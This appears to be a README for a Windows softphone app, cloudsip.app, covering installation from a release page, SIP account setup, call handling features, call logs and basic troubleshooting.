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📞 cloudsip.app - Manage your phone calls with ease

cloudsip.app is a softphone. It uses your internet connection to handle phone calls. You can manage multiple lines, transfer calls, and record audio. The app works on your computer just like a web browser. It connects to your existing phone system using standard technologies.

⚙️ System Requirements

Your computer needs to meet these basic standards to run the software.

• Operating System: Windows 10 or Windows 11.
• Processor: Intel Core i3 or equivalent.
• Memory: 4 GB RAM.
• Storage: 200 MB of free disk space.
• Network: Stable internet connection with a minimum speed of 1 Mbps.
• Equipment: A headset with a microphone for clear audio quality.

💾 Installation Steps

Follow these steps to set up the software on your Windows computer.

1. Go to the official release page to find the latest version.
2. Look for the file ending in .exe.
3. Click the file name to start the download.
4. Save the file to your desktop or downloads folder.
5. Double-click the file to begin the installation.
6. Follow the on-screen prompts from the installer.
7. Click Finish to complete the process.

🚀 Getting Started

Once the installation ends, find the cloudsip.app icon on your desktop. Double-click the icon to launch the application. The program opens a window ready for your credentials.

To make calls, you need account details from your phone service provider. You will need:

• SIP Server Address: The link to your phone provider.
• Username: Your extension or phone number.
• Password: The secure code provided by your administrator.
• Port: The connection port for signals.

Enter these details in the settings tab. Click save to store your configuration. The status indicator shows green when the connection succeeds. You are now ready to make calls.

🛠️ Using Features

The interface displays your current calls and phone controls. Use the dial pad to enter numbers manually. Click your contacts list to dial saved people.

Managing Calls

When a call arrives, a notification appears on the screen. Click the green button to answer. Click the red button to hang up. During a call, buttons appear for common tasks.

• Hold: Pauses the audio stream until you press resume.
• Transfer: Sends the call to another person or extension. Select the destination number and press the transfer button.
• Mute: Turns off your microphone.
• Recording: Captures audio from the call. Files save automatically to your computer storage.

Using Multiple Lines

The software handles several calls at once. Switch between lines by clicking the tabs at the top of the window. When a new call comes in while you are busy, the software alerts you. You can place the first caller on hold to answer the second caller.

📁 Managing Records

The app keeps track of your history. Every call shows up in the logs. Click the history tab to see:

• Date and time of calls.
• Duration of conversations.
• Incoming or outgoing status.
• Recordings of past calls.

You can delete these logs at any time via the settings menu.

🔧 Troubleshooting Tips

Most connection problems stem from incorrect settings. If the status light stays red, check these items:

1. Internet Check: Ensure your computer has an active web connection.
2. Settings Check: Re-enter your username and password. Look for typos.
3. Hardware Check: Verify your headset connects to the correct port. Use the sound settings in Windows to ensure the microphone works.
4. Firewall: Sometimes your security software stops the connection. Ensure the program has permission to access the network.

🌐 Technical Background

This application relies on WebRTC and SIP. These technologies turn your browser-based engine into a telephony tool. It supports common industry standards like PJSIP and Asterisk. This ensures compatibility with most office phone systems.

The software runs locally on your machine. All your data stays within the application interface. We do not store your call information on external servers. This protects your privacy and security.

📋 Updates

Check the GitHub page periodically for new versions. Each update improves stability and adds features. You can install new versions directly over the current one without losing your settings. The installer handles the upgrade process automatically.